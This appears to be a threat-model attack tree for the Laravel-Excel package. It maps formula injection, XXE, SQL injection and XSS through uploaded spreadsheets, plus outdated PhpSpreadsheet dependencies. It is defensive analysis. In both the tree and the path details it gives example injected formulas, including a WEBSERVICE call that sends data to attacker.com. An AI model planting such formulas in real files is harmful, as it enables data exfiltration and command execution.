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Attack Tree Analysis for spartnernl/laravel-excel

Objective: Execute arbitrary code on the server or access sensitive data by exploiting vulnerabilities in Laravel-Excel.

Attack Tree Visualization

Attack Tree: High-Risk Paths - Compromise Application via Laravel-Excel

└───[OR]─ Exploit File Parsing Vulnerabilities **[HIGH RISK PATH]**
    └───[OR]─ Malicious File Upload **[CRITICAL NODE]**
        └───[OR]─ Exploit known parser vulnerabilities (PhpSpreadsheet) **[HIGH RISK PATH]**
            ├───[AND]─ Identify vulnerable PhpSpreadsheet version **[CRITICAL NODE]**
            └───[AND]─ Craft file to trigger known vulnerability (e.g., formula injection, XXE) **[HIGH RISK PATH]**
    └───[OR]─ Formula Injection (if application uses user-controlled formulas) **[HIGH RISK PATH]**
        └───[AND]─ Application allows user-defined formulas in Excel import **[CRITICAL NODE]**
        └───[AND]─ Inject malicious formulas (e.g., `=SYSTEM("malicious_command")`, `=WEBSERVICE("http://attacker.com/data")`) **[HIGH RISK PATH]**

└───[OR]─ Exploit Data Processing Vulnerabilities (Post-Parsing) **[HIGH RISK PATH]**
    └───[OR]─ Data Injection into Database/Application Logic **[HIGH RISK PATH]**
        └───[AND]─ Parsed data is directly used in SQL queries without sanitization **[CRITICAL NODE]** **[HIGH RISK PATH]**
        └───[AND]─ Inject SQL injection payloads within Excel/CSV data **[HIGH RISK PATH]**
    └───[OR]─ Cross-Site Scripting (XSS) via Parsed Data (if application displays parsed data) **[HIGH RISK PATH]**
        └───[AND]─ Parsed data is displayed to users without proper output encoding **[CRITICAL NODE]** **[HIGH RISK PATH]**
        └───[AND]─ Inject XSS payloads within Excel/CSV data **[HIGH RISK PATH]**

└───[OR]─ Exploit Configuration or Dependency Issues **[HIGH RISK PATH]**
    └───[OR]─ Vulnerable PhpSpreadsheet Dependency **[HIGH RISK PATH]** **[CRITICAL NODE]**
        └───[AND]─ Application uses outdated Laravel-Excel version with vulnerable PhpSpreadsheet **[HIGH RISK PATH]**
        └───[AND]─ Exploit known vulnerabilities in the used PhpSpreadsheet version **[HIGH RISK PATH]**

Attack Tree Path: Exploit File Parsing Vulnerabilities [HIGH RISK PATH]

  • Attack Vector: Attackers target weaknesses in how Laravel-Excel (and underlying PhpSpreadsheet) parses Excel and CSV files.
  • Critical Node: Malicious File Upload:
    • Vulnerability: Application allows users to upload Excel or CSV files. This is the primary entry point for file-based attacks.
    • Impact: Allows attackers to introduce malicious files for parsing, potentially triggering vulnerabilities.
  • High Risk Path: Exploit known parser vulnerabilities (PhpSpreadsheet):
    • Vulnerability: PhpSpreadsheet, being a complex parser, may contain known vulnerabilities (e.g., Formula Injection, XXE in older versions, memory corruption).
    • Critical Node: Identify vulnerable PhpSpreadsheet version:
      • Vulnerability: Using outdated Laravel-Excel or PhpSpreadsheet versions.
      • Impact: Exposes the application to publicly known and potentially easily exploitable vulnerabilities.
    • High Risk Path: Craft file to trigger known vulnerability (e.g., formula injection, XXE):
      • Vulnerability: Specific vulnerabilities within PhpSpreadsheet parsing logic.
      • Impact: Remote Code Execution (RCE), Data Exfiltration, Denial of Service (DoS) depending on the vulnerability exploited.
  • High Risk Path: Formula Injection (if application uses user-controlled formulas):
    • Critical Node: Application allows user-defined formulas in Excel import:
      • Vulnerability: Application design choice to allow formula evaluation from user-uploaded files.
      • Impact: Introduces the risk of formula injection if not properly handled.
    • High Risk Path: Inject malicious formulas (e.g., =SYSTEM("malicious_command"), =WEBSERVICE("http://attacker.com/data")):
      • Vulnerability: PhpSpreadsheet's formula evaluation capabilities, combined with lack of sanitization in the application.
      • Impact: Remote Code Execution (RCE) via functions like SYSTEM, Data Exfiltration via functions like WEBSERVICE (if available and not restricted).

Attack Tree Path: Exploit Data Processing Vulnerabilities (Post-Parsing) [HIGH RISK PATH]

  • Attack Vector: Attackers exploit vulnerabilities in how the application processes the data after Laravel-Excel has parsed it.
  • High Risk Path: Data Injection into Database/Application Logic:
    • High Risk Path: Parsed data is directly used in SQL queries without sanitization:
      • Critical Node: Parsed data is directly used in SQL queries without sanitization:
        • Vulnerability: Failure to use parameterized queries or prepared statements when incorporating data from Excel/CSV into SQL queries.
        • Impact: SQL Injection - allowing attackers to manipulate database queries, potentially leading to data breaches, data modification, or even RCE depending on database privileges.
      • High Risk Path: Inject SQL injection payloads within Excel/CSV data:
        • Vulnerability: Application's susceptibility to SQL Injection via data originating from Excel/CSV files.
        • Impact: SQL Injection - same impacts as above.
  • High Risk Path: Cross-Site Scripting (XSS) via Parsed Data (if application displays parsed data):
    • High Risk Path: Parsed data is displayed to users without proper output encoding:
      • Critical Node: Parsed data is displayed to users without proper output encoding:
        • Vulnerability: Failure to properly encode data extracted from Excel/CSV files before displaying it in HTML.
        • Impact: Cross-Site Scripting (XSS) - allowing attackers to inject malicious scripts that execute in users' browsers, potentially leading to session hijacking, defacement, or client-side attacks.
      • High Risk Path: Inject XSS payloads within Excel/CSV data:
        • Vulnerability: Application's susceptibility to XSS due to displaying unsanitized data from Excel/CSV files.
        • Impact: Cross-Site Scripting (XSS) - same impacts as above.

Attack Tree Path: Exploit Configuration or Dependency Issues [HIGH RISK PATH]

  • Attack Vector: Attackers exploit vulnerabilities arising from misconfigurations or outdated dependencies.
  • High Risk Path: Vulnerable PhpSpreadsheet Dependency:
    • Critical Node: Vulnerable PhpSpreadsheet Dependency:
      • Vulnerability: Using an outdated version of PhpSpreadsheet that contains known security vulnerabilities.
      • Impact: Inherits all vulnerabilities present in the outdated PhpSpreadsheet version, potentially including RCE, Data Exfiltration, or DoS.
    • High Risk Path: Application uses outdated Laravel-Excel version with vulnerable PhpSpreadsheet:
      • Vulnerability: Using an outdated Laravel-Excel version that bundles or depends on a vulnerable PhpSpreadsheet version.
      • Impact: Indirectly exposes the application to PhpSpreadsheet vulnerabilities.
    • High Risk Path: Exploit known vulnerabilities in the used PhpSpreadsheet version:
      • Vulnerability: Publicly known vulnerabilities (CVEs) in the specific PhpSpreadsheet version being used.
      • Impact: Exploitation of these known vulnerabilities, potentially leading to RCE, Data Exfiltration, or DoS.